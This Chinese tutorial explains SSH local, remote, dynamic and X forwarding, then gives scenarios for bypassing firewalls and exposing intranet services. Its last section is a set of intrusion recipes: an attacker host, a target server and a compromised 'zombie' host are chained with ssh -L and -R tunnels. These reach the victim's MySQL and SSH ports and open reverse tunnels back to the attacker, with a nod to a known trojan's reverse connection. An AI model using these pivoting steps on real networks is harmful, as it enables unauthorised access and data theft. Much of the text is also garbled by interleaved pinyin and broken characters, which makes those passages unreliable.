SSH端口轉(zhuǎn)發(fā)情景模擬
SSH會自動加密和解密所有SSH客戶端與服務(wù)端之間的網(wǎng)絡(luò)數(shù)據(jù)。這一過程有時也被叫做“隧道”(tunneling),這是因?yàn)镾SH為其他TCP鏈接提供了一個安全的通道來進(jìn)行傳輸而得名。例如,Telnet,SMTP,LDAP這些TCP應(yīng)用均能夠從中得益,避免了用戶名,密碼以及隱私信息的明文傳輸。而與此同時,如果您工作環(huán)境中的防火墻限制了一些網(wǎng)絡(luò)端口的使用,但是允許SSH的連接,那么也能夠通過將 TCP 端口轉(zhuǎn)發(fā)來使用 SSH 進(jìn)行通訊。
(一)概述
SSH端口轉(zhuǎn)發(fā)能夠?qū)⑵渌鸗CP端口的網(wǎng)絡(luò)數(shù)據(jù)通過SSH鏈接來轉(zhuǎn)發(fā),并且自動提供了相應(yīng)的加密及解密服務(wù)。
(二)功能
1、加密SSH Client端至SSH Server端之間的通訊數(shù)據(jù)。
2、突破防火墻的限制完成一些之前無法建立的TCP連接。
(三) 方式
共有四種方式,分別為本地轉(zhuǎn)發(fā),遠(yuǎn)程轉(zhuǎn)發(fā),動態(tài)轉(zhuǎn)發(fā),X協(xié)議轉(zhuǎn)發(fā)
1. 本地端口轉(zhuǎn)發(fā)
SSH連接和應(yīng)用的連接這兩個連接的方向一致
ssh -L [
將本地機(jī)(客戶機(jī))的某個端口轉(zhuǎn)發(fā)到遠(yuǎn)端指定機(jī)器的指定端口;本地端口轉(zhuǎn)發(fā)是在localhost上監(jiān)聽一個端口,所有訪問這個端口的數(shù)據(jù)都會通過ssh 隧道傳輸?shù)竭h(yuǎn)端的對應(yīng)端口。
如下:
- localhost: ssh -L 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機(jī)端口監(jiān)聽狀態(tài):
登陸后本地主機(jī)端口監(jiān)聽狀態(tài):
登陸后遠(yuǎn)程主機(jī)不會監(jiān)聽端口。
小結(jié):本地端口轉(zhuǎn)發(fā)的時候,本地的ssh在監(jiān)聽7001端口。
2. 遠(yuǎn)程端口轉(zhuǎn)發(fā)
SSH連接和應(yīng)用的連接這兩個連接的方向相反
ssh -R [
將遠(yuǎn)程主機(jī)(服務(wù)器)的某個端口轉(zhuǎn)發(fā)到本地端指定機(jī)器的指定端口;遠(yuǎn)程端口轉(zhuǎn)發(fā)是在遠(yuǎn)程主機(jī)上監(jiān)聽一個端口,所有訪問遠(yuǎn)程服務(wù)器的指定端口的數(shù)據(jù)都會通過ssh 隧道傳輸?shù)奖镜氐膶?yīng)端口。
如下:
- localhost: ssh -R 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機(jī)端口監(jiān)聽狀態(tài):
登陸后本地主機(jī)端口監(jiān)聽狀態(tài):
登陸后遠(yuǎn)程主機(jī)端口監(jiān)聽狀態(tài):
小結(jié):使用遠(yuǎn)程端口轉(zhuǎn)發(fā)時,本地主機(jī)的端口監(jiān)聽并沒有發(fā)生變化,相反遠(yuǎn)程主機(jī)卻開始監(jiān)聽我們指定的7001端口。
3. 動態(tài)端口轉(zhuǎn)發(fā)
把遠(yuǎn)端ssh服務(wù)器當(dāng)作了一個安全的代理服務(wù)器
ssh -D [
建立一個動態(tài)的SOCKS4/5的代理通道,緊接著的是本地監(jiān)聽的端口號;動態(tài)端口轉(zhuǎn)發(fā)是建立一個ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5協(xié)議的程序都可以使用這個加密的通道來進(jìn)行代理訪問,現(xiàn)在這種方法最常用的地方就是翻墻。
如下:
- localhost: ssh -D 7070 sisca@216.194.70.6
登陸前本地主機(jī)端口監(jiān)聽狀態(tài):
登陸后本地主機(jī)端口監(jiān)聽狀態(tài):
小結(jié):使用動態(tài)端口轉(zhuǎn)發(fā)時,本地主機(jī)的ssh進(jìn)程在監(jiān)聽指定的7070端口。
4. X協(xié)議轉(zhuǎn)發(fā)
把遠(yuǎn)端ssh服務(wù)器當(dāng)作了一個安全的代理服務(wù)器。
- ssh -X <SSH hostname>
如,我們可能會經(jīng)常會遠(yuǎn)程登錄到 Linux/Unix/Solaris/HP等機(jī)器上去做一些開發(fā)或者維護(hù),也經(jīng)常需要以GUI方式運(yùn)行一些程序,比如要求圖形化界面來安裝 DB2/WebSphere 等等。這時候通常有兩種選擇來實(shí)現(xiàn):VNC或者X窗口,讓我們來看看后者。一個比較常見的場景是,我們的本地機(jī)器是Windows操作系統(tǒng),這時可以選擇開源的XMing來作為我們的XServer,而SSH Client則可以任意選擇了,例如PuTTY,Cygwin均可以配置訪問SSH的同時建立X轉(zhuǎn)發(fā)。
SSH端口轉(zhuǎn)發(fā)除上述四個代表不同工作方式的參數(shù)外還有一些附屬參數(shù):
- -C:壓縮數(shù)據(jù)傳輸
- -N:不執(zhí)行腳本或命令,通常與-f連用
- -f:后臺認(rèn)證用戶/密碼,通常與-N連用,不用登陸到遠(yuǎn)程主機(jī),如果通過其他程序控制隧道連接,應(yīng)當(dāng)避免將SSH客戶端放到后臺執(zhí)行,也就是去掉-f參數(shù)。
- -g:在-L/-D/-R參數(shù)中,允許遠(yuǎn)程主機(jī)連接到建立的轉(zhuǎn)發(fā)端口,如果不加這個參數(shù),只允許本地主機(jī)建立連接。
四、場景模擬
場景一:將本機(jī)的80端口轉(zhuǎn)發(fā)到174.139.9.66的8080端口
- ssh -C –f –g –N –L 80:174.139.9.66:8080master@174.139.9.66
接著會提示輸入master的密碼,或使用-pw參數(shù)完成
場景二:一次同時映射多個端口
Ssh -L8888:www.host.com:80 -L 110:mail.host.com:110 -L 25:mail.host.com:25 user@host,同時把服務(wù)器(www.host.com)的80,110,25端口映射到本機(jī)的8888,110和25端口
場景三:A內(nèi)網(wǎng)主機(jī)能放問公網(wǎng)的123.123.123.123的22端口,但是不能訪問公網(wǎng)234.234.234.234的21端口,但是這兩臺公網(wǎng)主機(jī)能互訪。
A主機(jī):ssh -CNfg –L 2121:234.234.234.234:21–pw abc123 user@123.123.123.123 ;然后A主機(jī):ftp://localhost:2121
前提是獲取123.123.123.123的22端口賬號口令(普通和root口令均可以,區(qū)別是轉(zhuǎn)發(fā)的端口問題)
場景四:A內(nèi)網(wǎng)主機(jī)能放問公網(wǎng)的123.123.123.123的22端口,但是公網(wǎng)B主機(jī)123.123.123.123不能訪問內(nèi)網(wǎng)的A主機(jī)。
A主機(jī):ssh -CNfg –R 2222:127.0.0.1:22–pw abc123 user@123.123.123.123;B主機(jī):ssh 127.0.0.1 –p 2222
前提是B主機(jī)開放22端口,賬號口令(自建ssh服務(wù)器,或用肉雞),灰鴿子木馬用的也是反向鏈接,Destination (LAN_ip) <- |NAT| <- Source (home_ip)
場景五:A內(nèi)網(wǎng)主機(jī)只能訪問公網(wǎng)的123.123.123.123,但是A如果想訪問公網(wǎng)的很多資源。
A主機(jī):ssh -CNf –D 1080 –pwabc123 user@123.123.123.123;A主機(jī)瀏覽器socks 5 proxy設(shè)置為localhost:8888,所有之前無法訪問的網(wǎng)站現(xiàn)在都可以訪問。
場景六:A內(nèi)網(wǎng)主機(jī)開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務(wù),無合法ip 地址;外網(wǎng)主機(jī)B(123.123.123.123),開了sshd 服務(wù),有合法 ip ;我們的目的是讓 internet 上的任何主機(jī)能訪問A上的各種服務(wù)。
B主機(jī):sshd服務(wù)端做點(diǎn)小小的設(shè)置:vi /etc/ssh/sshd.config加入 GatewayPorts yes,然后重啟sshd服務(wù):/etc /init.d/ssh restart 或 /etc/init.d/sshd restart或使用-g參數(shù)
A主機(jī):ssh -CNf –R21:127.0.0.1:21 –pw abc123 user@123.123.123.123
公網(wǎng)其它主機(jī):ftp://123.123.123.123:21
場景七:A內(nèi)網(wǎng)主機(jī)開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務(wù),無合法ip 地址;外網(wǎng)主機(jī) B(123.123.123.123) 開了sshd 服務(wù),有合法 ip ;我們的目的是讓 internet 上的任何主機(jī)能訪問 A 上的各種服務(wù)。
A主機(jī):ssh -CN –R1234:127.0.0.1:80 –pw abc123 user@123.123.123.123
B主機(jī):socattcp-listen:80,reuseaddr,fork tcp:localhost:1234
公網(wǎng)其它主機(jī):http://123.123.123.123:80,此時就是訪問內(nèi)網(wǎng)主機(jī)的80端口
場景八:PuTTY自帶的plink.exe實(shí)現(xiàn)ssh代理
- PLINK.EXE-C -N -D 127.0.0.1:7000 est@202.115.22.x[:21314]
- ssh -CfNg -D127.0.0.1:7000 est@202.115.22.x:21314
五、滲透情景模擬
- A為攻擊主機(jī),開啟的ssh服務(wù)
- B為web/應(yīng)用/數(shù)據(jù)庫服務(wù)器,開啟22/80/3306端口
- D為肉雞,開啟22端口
情景一:
方法一:socks5代理
A: ssh –D 8080 root@B_IP –pw root
方法二:本地端口轉(zhuǎn)發(fā)(B的3306端口)
A:ssh –L 3306:B_IP:3306 –pw root root@B_IP
方法三:遠(yuǎn)程端口轉(zhuǎn)發(fā)
B: ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景二:
方法一:socks5代理
A:ssh -D 8080 root@A_IP –pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
方法二:遠(yuǎn)程端口轉(zhuǎn)發(fā)(將3306端口轉(zhuǎn)發(fā))
B:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景三:
方法一:socks5代理
A:ssh -D 8080 root@A_IP -pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
方法二:遠(yuǎn)程端口轉(zhuǎn)發(fā)(將3306端口轉(zhuǎn)發(fā))
B:ssh -R 3306:C_IP:3306 -pw root root@A_IP
法三:
B:ssh –L 1234:C_IP:3306 –pw root root@C_IP
B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP
情景四:
(一)
22端口轉(zhuǎn)發(fā)
- A: ssh –L 2222:B_IP:22 –pw root root@D_IP
3306端口轉(zhuǎn)發(fā)
- D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
- A: ssh -L 3306:D_IP:3306–pw root root@D_IP
(二)
22端口轉(zhuǎn)發(fā)
- B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
- A:ssh –L 2222:D_IP:2222 –pw root root@D_IP
3306端口轉(zhuǎn)發(fā)
- B: ssh –L 3306:127.0.0.1:3306 –pw root root@D_IP
- A: ssh -L 3306:D_IP:3306–pw root root@D_IP
(三)
22端口轉(zhuǎn)發(fā)
- B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
- D:ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306端口轉(zhuǎn)發(fā)
- B: ssh –R 3306:127.0.0.1:3306 –pw root root@D_IP
- D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
(四)
22端口轉(zhuǎn)發(fā)
- D: ssh –L 2222:B_IP:22 –pw root root@B_IP
- D: ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306端口轉(zhuǎn)發(fā)
- D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
- D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
情景五:
(一)
將C的3306端口轉(zhuǎn)發(fā)出來
- D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
- A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
(二)
將C的3306端口轉(zhuǎn)發(fā)出來
- B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
- A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
(三)
將C的3306端口轉(zhuǎn)發(fā)出來
- B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
- D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
(四)
將C的3306端口轉(zhuǎn)發(fā)出來
- D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
- D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
通過將TCP連接轉(zhuǎn)發(fā)到SSH通道上以解決數(shù)據(jù)加密以及突破防火墻的種種限制。對一些已知端口號的應(yīng)用,例如Telnet/LDAP/SMTP,我們可以使用本地端口轉(zhuǎn)發(fā)或者遠(yuǎn)程端口轉(zhuǎn)發(fā)來達(dá)到目的。動態(tài)端口轉(zhuǎn)發(fā)則可以實(shí)現(xiàn)SOCKS代理從而加密以及突破防火墻對Web瀏覽的限制。當(dāng)然,端口轉(zhuǎn)發(fā)還有很多好用的工具供大家選擇。本文參考了網(wǎng)上之前的文章,并加入了自己的理解,感興趣的話可以搞個環(huán)境實(shí)驗(yàn)下,如有問題,希望各位批評指正。